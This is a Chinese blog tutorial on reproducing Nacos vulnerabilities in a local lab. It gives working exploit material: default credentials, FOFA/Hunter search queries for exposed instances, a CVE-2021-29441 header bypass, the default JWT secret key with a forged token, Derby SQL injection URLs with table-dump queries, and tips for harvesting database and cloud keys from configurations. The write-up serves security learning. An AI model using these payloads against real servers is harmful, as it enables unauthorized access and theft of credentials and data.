上心师傅的思路分享(三)--Nacos渗透

目录

1. 前言

2. Nacos

2.1 Nacos介绍

2.2 鹰图语法

2.3 fofa语法

2.3 漏洞列表

未授权API接口漏洞

3 环境搭建

3.1 方式一:

3.2 方式二: 

3.3 访问方式

4. 工具监测

5. 漏洞复现

5.1 弱口令

 5.2 未授权接口

5.3.1 用户信息 API

5.3.2 集群信息 API

5.3.3 配置信息 API

5.3 CVE-2021-29441 Nacos权限认证绕过漏洞

5.4 Nacos token.secret.key默认配置(QVD-2023-6271)

5.4.1 验证漏洞

 5.4.2 构造JWT token

5.5 Nacos Derby SQL注入漏洞 (CNVD-2020-67618)

5.5.1 漏洞复现:

 5.5.2 工具复现

5.5.3 一些常用的查询语句

5.6 CVE-2021-29441 Nacos权限认证绕过漏洞

5.7  Nacos-client Yaml反序列化漏洞  和 Nacos Jraft Hessian反序列化漏洞(QVD-2023-13065) 

6.其他利用方式

7.总结 


1. 前言

        最近回顾看一下上心师傅在上课时分享的渗透思路,因为本次的这个利用方式之前是了解过,Ctf比赛遇到过,但是当时的我还是小白一个对此完全不懂,而在经过上心师傅的分享后,发现其实原理自己懂,但是一直没有利用和学习过,刚好上心师傅讲了,那就认真学习同时复现一下吧.

        刚好也对漏洞环境搭建做一个练习,毕竟一名合格的安全测试人员,除了在实战环境下复现,也需要自行搭建真实环境进行漏洞复现测试,避免在实战环境下影响业务.

免责声明

        博文中涉及的方法可能带有危害性,博文中的图片中的域名展示仅供参考,并不具有威胁性,仅供安全研究与教学之用,读者将其方法用作做其他用途,由读者承担全部法律及连带责任,文章作者不负任何责任.

        下面是上心师傅上课讲的一些思路总结,以及我自己对这个漏洞学习到的一些总结和梳理.

2. Nacos

2.1 Nacos介绍

        Nacos 是阿里巴巴推出来的一个开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。

        但是Nacos是部署在内网的,因此下面通过语法搜索出来的可以看到的,一般会做访问限制的,正常是访问不到的,如果可以访问就可以尝试是否存在漏洞了.当然如果直接在真实环境下测试,一是未授权行为,二是不容易找到复现环境,所以在本地搭建环境来进行复现是最安全,也是最容易

2.2 鹰图语法

app.name="Nacos" 

2.3 fofa语法

app="Nacos" && icon_hash="1227052603" && country="CN"

2.3 漏洞列表

Nacos控制台默认口令漏洞

漏洞影响版本:所有版本

nacos/nacos
CVE-2021-29441 Nacos权限认证绕过漏洞/nacos/v1/auth/users?pageNo=1&pageSize=1
未授权API接口漏洞

用户信息 API:      /nacos/v1/auth/users?pageNo=1&pageSize=5 (pageSize和pageNo根据数据量自行更改)

集群信息 API:   /nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageSize=10&keyword=

配置信息 API:  /nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=9&tenant=

&search=accurate&accessToken=&username=

Nacos token.secret.key默认配置(QVD-2023-6271)

漏洞影响版本: 0.1.0 <= Nacos <= 2.2.0

/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate返回403就可以考虑伪造jwt

 Nacos User-Agent权限绕过(CVE-2021-29441)

漏洞影响版本: Nacos <= 2.0.0-ALPHA.1

http://ip:端口/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur 

这个版本环境很低,需要的师傅可以搭建环境自行复现

 
Nacos-client Yaml反序列化漏洞  
漏洞影响版本: Nacos-Client < 1.4.2
具体看下面复现

Nacos Jraft Hessian反序列化漏洞(QVD-2023-13065) 

漏洞影响版本:1.4.0 <= Nacos < 1.4.6 和 2.0.0 <= Nacos < 2.2.3

开放7848端口
Nacos Derby SQL注入漏洞 (CNVD-2020-67618)

derby数据库

/nacos/v1/cs/ops/derby?sql=select+*+from+sys.systables

nacos+spring  actuator 如果从nacos无法突破, 从actuator中的heapdump获取密码 /actuator/heapdump进行分析尝试获取密码,然后再进入nacos

3 环境搭建

                          本次Nacos漏洞复现环境都是在Linux环境下进行复现的

3.1 方式一:

直接下载

下载环境
wget https://github.com/alibaba/nacos/releases/download/2.0.0-ALPHA.1/nacos-server-2.0.0-ALPHA.1.tar.gz解压
tar -zxvf nacos-server-2.0.0-ALPHA.1.tar.gz进入目录
cd nacoscd 进入nacos的bin目录启动./startup.sh -m standalone
关闭
./shutdown.sh

3.2 方式二: 

        因为自己的环境出了问题,导致无法用命令下载github的文件,于是通过下面的方式解决,这里我只做复现和分析就不写这种方式了,下面这个师傅的文章比较详细,可以跟着学习和使用.

Kali设置/挂载共享文件夹_kali开机自动挂载共享文件夹-CSDN博客icon-default.png?t=N7T8https://blog.csdn.net/Ahuuua/article/details/108584355        直接浏览器访问下面的链接,当然直接访问会比较慢,可以通过科学方式加速

https://github.com/alibaba/nacos/releases/download/2.0.0-ALPHA.1/nacos-server-2.0.0-ALPHA.1.tar.gz

        然后把下载好的文件放入共享文件夹,最后移动到自己常用的位置,然后在文件目录下按照下面的操作.

 
解压
tar -zxvf nacos-server-2.0.0-ALPHA.1.tar.gz进入目录
cd nacoscd 进入nacos的bin目录启动./startup.sh -m standalone关闭
./shutdown.sh

3.3 访问方式

ifconfig  # 注意和win查本机ip的方式有点不同访问ip:8848/nacos/#/login

                        下面我的测试环境都是以搭建的虚拟机环境ip地址为准 

访问环境地址,出现下面的界面,代表搭建环境成功.

4. 工具监测

        在复现环境前,因为这个搭建的环境是比较老的版本,到目前为止发现的所有历史漏洞应该都是存在的,先用工具扫描一下,进行尝试,上心师傅推荐的这个工具比较好用,建议用最新版的,监测的poc会多一点.

charonlight/NacosExploitGUI: Nacos漏洞综合利用GUI工具,集成了默认口令漏洞、SQL注入漏洞、身份认证绕过漏洞、反序列化漏洞的检测及其利用 (github.com)icon-default.png?t=N7T8https://github.com/charonlight/NacosExploitGUI        可以看一下漏洞描述,初步了解需要复现的漏洞原理,如果遇到不知道的,可以自行去搜索详细的文章进行学习.

java -jar NacosExploitGUI_v4.0.jar

                                因为是老版本,所以包含所有历史漏洞,扫描结果如下:

5. 漏洞复现

5.1 弱口令

                        Nacos控制台默认口令为nacos/nacos,遇到了可以先尝试一下

一般会存在一个test/test的用户,也可以进行尝试

 5.2 未授权接口

                        在未登录情况下的登录界面直接拼接下面的api接口

5.3.1 用户信息 API

/nacos/v1/auth/users?pageNo=1&pageSize=5

        这里因为没有添加用户,所以就一个用户,如果有很多用户的话,可以尝试其他用户的弱口令

        显然密码是加密的,并且我之前遇到过一个系统也是这样加密的,搜索和学习后,发现是无法解密的密码,这里只能通过尝试常见的弱口令,或是账号和密码一样看能否进入了.

5.3.2 集群信息 API

/nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageSize=10&keyword=

5.3.3 配置信息 API

通过看别的师傅的一些挖掘案例文章发现这个接口和上面的用户信息接口一样很重要,并且还有可能会出现一些重要的配置信息,例如:接口在未授权的情况下可能会暴露MySQL、Redis、Druid  postgresql   mongodb等配置信息,若存在云环境、文件系统,还可能暴露各种key

/nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=9&tenant=&search=accurate&accessToken=&username=

5.3 CVE-2021-29441 Nacos权限认证绕过漏洞

验证漏洞

http://192.168.10.14:8848/nacos/v1/auth/users?pageNo=1&pageSize=1

 在浏览器直接访问是get请求:

http://192.168.10.14:8848/nacos/v1/auth/users

        在burp的历史包中,将访问请求发送到重放模块,然后更改请求方式为post,修改User-Agent为Nacos-Server,至于为什么是username=xiaoyu&password=xioayu  参数你可以在登录界面抓一个包就知道为什么是这个格式了.

                                                             用xiaoyu/xiaoyu进行登录

5.4 Nacos token.secret.key默认配置(QVD-2023-6271)

        复现这个漏洞的话通过Nacos版本 <= 2.2.0的才是正确的复现环境,但是老版本也是存在这个漏洞的,本来不想搭建这个环境,结果老版本工具可以监测到,但是自己复现无法成功,于是,直接用老搭建一个新的环境,需要的师傅自行搭建复现,其他搭建和上面的操作是一致的.

环境地址:https://github.com/alibaba/nacos/releases/download/2.2.0/nacos-server-2.2.0.tar.gz

                                        注意需要先开启鉴权,不然登录是不需要使用JWT的

        Nacos使用token.secret.key来进行身份认证和加密。在Nacos版本 <= 2.2.0 时,,这个密钥是固定的默认值,导致存在一个安全漏洞。

密钥的固定的默认值

SecretKey012345678901234567890123456789012345678901234567890123456789

5.4.1 验证漏洞

                        这个是2.2.0比前面的2.0.0多了一行红字,内部系统,不可暴露到公网

        不带jwt直接访问如下地址,看别的师傅都说,正常是返回403,但是我是老版本,也会出现信息,结果我尝试了2.2.0还是会返回下面的信息,此时我已经懵逼了

http://192.168.10.14:8848/nacos/v1/auth/users?pageNo=1&pageSize=5&search=accurate

        2.2.0版本未经过鉴权的话进行测试发现也会出现下面的信息,并且可以进行一些列的操作,比如说直接添加用户,删除用户等等.

 老版本的话,会出现下面的信息,有我前面复现漏洞添加的新用户

 5.4.2 构造JWT token

先访问接口

/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate

其中exp是时间戳,利用下面部分进行伪造令牌,然后进行尝试

exp是时间戳,需要把时间戳改为大于当前时间,建议直接改为明天的时间

默认泄露了key,就是下面的全部

SecretKey012345678901234567890123456789012345678901234567890123456789

{"sub": "nacos","exp": 1718012869 
}

        时间戳修改为比当前时间晚一天就可以了,生成一个比当前时间晚一天的时间戳,写博文的时候当前日期为6月9日,时间戳改为6月10日

 按图所示填写对应的palyload和key,拿到伪造的JWT

JWT构造网站
https://jwt.io/  
时间戳生成网站
https://tool.lu/timestamp/

 在JWT页面伪造好数据包后,就可以尝试在登录界面随意抓包,然后在数据包中添加下面的语句,

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxODAyMDM4Nn0.UpyKSCj74oARPBP23X0TnAtWI6i3OKhr3XsaqfMSkL0

        重新抓一个登录的包,拦截返回包,将上面将返回的数据,替换重新抓的拦截包里的数据,然后发包就会进行后台界面

5.5 Nacos Derby SQL注入漏洞 (CNVD-2020-67618)

这个还是在2.0.0环境下进行复现的,当然也可以使用工具进行测试

        Nacos config server 中有未鉴权接口,执行 SQL 语句可以查看敏感数据,可以执行任意的 SELECT 查询语句。使用derby数据库进行部署的Nacos.

5.5.1 漏洞复现:

/nacos/v1/cs/ops/derby?sql=select+*+from+sys.systables
/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st

 5.5.2 工具复现

5.5.3 一些常用的查询语句

select * from users
select * from permissions
select * from roles
select * from tenant_info
select * from tenant_capacity
select * from group_capacity
select * from config_tags_relation
select * from app_configdata_relation_pubs
select * from app_configdata_relation_subs
select * from app_list
select * from config_info_aggr
select * from config_info_tag
select * from config_info_beta
select * from his_config_info
select * from config_info

5.6 CVE-2021-29441 Nacos权限认证绕过漏洞

/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur
User-Agent: Nacos-Server
serverIdentity: security 

正常情况下:

 在请求头中添加绕过后,出现下面的信息,说明权限绕过了

5.7  Nacos-client Yaml反序列化漏洞  和 Nacos Jraft Hessian反序列化漏洞(QVD-2023-13065) 

        这两种漏洞需要在一定的环境下才有存在的可能,而在本地环境的话,目前我是无法达到复现效果的,所以无法复现,可以看这位佬的,有对漏洞的详细解释,当然也可以借助上面的那款工具进行进一步利用.

Nacos 漏洞利用总结 | h0ny's blogicon-default.png?t=N7T8https://h0ny.github.io/posts/Nacos-%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E6%80%BB%E7%BB%93/

6.其他利用方式

        可以在Nacos的后台的配置文件中尝试寻找是否存在暴露MySQL、Redis、Druid  postgresql   mongodb等配置信息,若是存在云环境、文件系统,还可能暴露各种key,都是可以进行链接和利用的,看是否能进行存储桶接管.

7.总结 

        本次是对上心师傅所讲的漏洞进行一次总结,同时对环境搭建与复现过程中,其实也遇到了很多问题,都一点一点解决了,虽然有点艰辛,但是完成的时候还是很快乐的,继续加油.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/26839.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

借力AI,助力网络钓鱼(邮件)检测

引言 互联网时代&#xff0c;邮件系统依然是人们工作、生活中的很重要的一部分&#xff0c;与此同时&#xff0c;邮件系统的发展带来的钓鱼邮件问题也成为网络中的最大的安全隐患之一。本文将为大家解开网络钓鱼&#xff08;邮件&#xff09;的神秘面纱&#xff0c;一探究竟&a…

和利时DCS数据采集对接安监平台

在工业互联网日益繁荣的今天&#xff0c;工业数据的采集、传输与利用变得至关重要。特别是在工业自动化领域&#xff0c;数据的实时性和准确性直接关系到生产效率和安全性。和利时DCS&#xff08;分布式控制系统&#xff09;以其卓越的稳定性和可靠性&#xff0c;在工业自动化领…

Ubuntu 24.04 屏蔽snap包

Ubuntu 24.04 屏蔽snap包 屏蔽 这里所说的屏蔽指的是&#xff1a;禁止sudo apt install firefox时安装snap版本的包。 如需卸载snap&#xff0c;请使用关键词搜索。 命令行 cat <<EOF | sudo tee /etc/apt/preferences.d/snap-apps-disable Package: chromium* firef…

yg校园易购电商系统(Go+Vue)

校园易购二手平台系统 GitHub项目地址&#xff1a;https://github.com/xzhHas/yg 文章目录 校园易购二手平台系统一、技术栈简介二、快速开始1、安装本系统使用到的插件&#xff0c;这里推荐使用docker安装&#xff0c;此操作皆在ubuntu系统下操作&#xff0c;如果是其他系统只…

学习笔记——网络管理与运维——概述(网络管理)

二、概述 1、什么是网络管理&#xff1f; 网络管理是通过对网络中设备的管理&#xff0c;保证设备工作正常&#xff0c;使通信网络正常地运行&#xff0c;以提供高效、可靠和安全的通信服务&#xff0c;是通信网络生命周期中的重要一环。 2、网络管理分类 网络管理(Network …

【代码随想录算法训练营第三十五天】 | 1005.K次取反后最大化的数组和 134.加油站 135.分发糖果

贪心章节的题目&#xff0c;做不出来看题解的时候&#xff0c;千万别有 “为什么这都没想到” 的感觉&#xff0c;想不出来是正常的&#xff0c;转变心态 “妙啊&#xff0c;又学到了新的思路” &#xff0c;这样能避免消极的心态对做题效率的影响。 134. 加油站 按卡哥的思路…

redis 06 集群

1.节点&#xff0c;这里是把节点加到集群中的操作&#xff0c;跟主从结构不同 这里是在服务端使用命令&#xff1a; 例子&#xff1a; 2.启动节点 节点服务器 首先&#xff0c;先是服务器节点自身有一个属性来判断是不是可以使用节点功能 一般加入集群中的节点还是用r…

【Spine学习06】之IK约束绑定,制作人物待机动画,图表塞贝尔曲线优化动作

引入IK约束的概念&#xff1a; 约束目标父级 被约束骨骼子集 这样理解更好&#xff0c;约束目标可以控制被约束的两个骨骼运作 IK约束绑定过程中呢&#xff0c;如果直接绑定最下面的脚掌骨骼会发生偏移&#xff0c;所以在开始处理IK之前&#xff0c;需要先设置一个ROOT结点下的…

创新入门|生成式AI创新赋能优势解析,获取生成式AI知识的10大方法

生成式AI技术对员工和企业影响深远。对于员工而言&#xff0c;生成式AI能够提升工作效率&#xff0c;简化重复性任务&#xff0c;并为创意和决策提供支持。对于企业而言&#xff0c;生成式AI在产品创新、市场营销、客户服务和运营优化等方面发挥重要作用&#xff0c;帮助预测市…

OpenHarmony napi 编译 .so 并打包成 .har

一、前言 最近在搞公司标准产品适配OpenHarmony 平台&#xff0c; 按照行业上的常用方法&#xff0c;在Android 是将底层代码用c 封装成 xxx.so &#xff0c;然后将其他一部分打包成 xxx.jar。 因此&#xff0c;在OpenHarmony 平台也是打算按照这个模式。正所谓&#xff0c;好…

JavaScript之函数

函数 使用 声明语法&#xff1a; function 函数名() {函数体 }命名规范&#xff1a; 小驼峰命名法前缀用动词 前缀词&#xff1a; 调用 函数名()函数传参 为了提高函数的灵活性 声明语法&#xff1a; function 函数名(参数列表) {函数体 }调用 函数名(参数)在函数声…

Python版本管理器-Miniconda

随着Python的版本更新&#xff0c;我们在开发Python软件的时候&#xff0c;对Python的版本选择越来越重要&#xff0c;但同时又要兼容已经开发好了的Python软件&#xff0c;因此选择一款合适的Python版本管理器对提高开发效率也越来越重要&#xff0c;今天就推荐一款Python的版…

深入理解指针(二)

目录 1. 数组名的理解 2. 使用指针访问数组 3. ⼀维数组传参的本质 4. 冒泡排序 5. 二级指针 6. 指针数组 7. 指针数组模拟二维数组 1. 数组名的理解 有下面一段代码: #include <stdio.h> int main() {int arr[10] { 1,2,3,4,5,6,7,8,9,10 };int* p &arr[…

2024年6月14日 十二生肖 今日运势

小运播报&#xff1a;2024年6月14日&#xff0c;星期五&#xff0c;农历五月初九 &#xff08;甲辰年庚午月己酉日&#xff09;&#xff0c;法定工作日。今天世界献血日&#xff0c;捐献新鲜血液&#xff0c;挽救更多生命&#xff0c;每位献血者都是英雄&#xff01; 红榜生肖…

美创科技入选“2024网络安全提供商创新排行榜”

近日&#xff0c;DBC德本咨询公布了“2024网络安全提供商创新排行榜”&#xff0c;美创科技凭借近20年的数据安全创新耕耘&#xff0c;荣誉上榜。 此次&#xff0c;与360、华为、腾讯等互联网、网络安全头部厂商并肩上榜&#xff0c;是行业对美创的再次认可。 数据安全的发展离…

什么是基于风险的漏洞管理RBVM,及其优势

文章目录 一、什么是漏洞管理二、什么是基于风险的漏洞管理RBVM三、RBVM的基本流程四、RBVM的特点和优势 一、什么是漏洞管理 安全漏洞是网络或网络资产的结构、功能或实现中的任何缺陷或弱点&#xff0c;黑客可以利用这些缺陷或弱点发起网络攻击&#xff0c;获得对系统或数据…

【log4】log4cplus:使用详解(一)

1、源码下载 源码下载地址:https://sourceforge.net/projects/log4cplus/files/log4cplus-stable/ 最新稳定版本为2.1.1(2023-11-17) github中有最新的源码:https://github.com/log4cplus/log4cplus 2、源码编译 1)解压后,进入源码目录中,执行配置命令: ./confi…

闪烁圆点加载动画

效果图: 完整代码: <!DOCTYPE html> <html> <head><meta charset="UTF-8" /><title>闪烁圆点加载动画</title><style type="text/css">body {background: #ECF0F1;display: flex;justify-content: center;al…

最实用的AI软件开发工具CodeFlying测评

就在上个月&#xff0c;OpenAI宣布GPT-4o支持免费试用&#xff0c;调用API价格降到5美元/百万token。 谷歌在得到消息后立马将Gemini 1.5 的价格下降到0.35美元/百万token。 Anthropic的API价格&#xff0c;直接干到了0.25美元/百万token。 国外尚且如此&#xff0c;那么国内…

高创新 | CEEMDAN-VMD-BiLSTM-Attention双重分解+双向长短期记忆神经网络+注意力机制多元时间序列预测

目录 效果一览基本介绍模型设计程序设计参考资料 效果一览 基本介绍 高创新 | CEEMDAN-VMD-BiLSTM-Attention双重分解双向长短期记忆神经网络注意力机制多元时间序列预测 本文提出一种基于CEEMDAN 的二次分解方法&#xff0c;通过样本熵重构CEEMDAN 分解后的序列&#xff0c;复…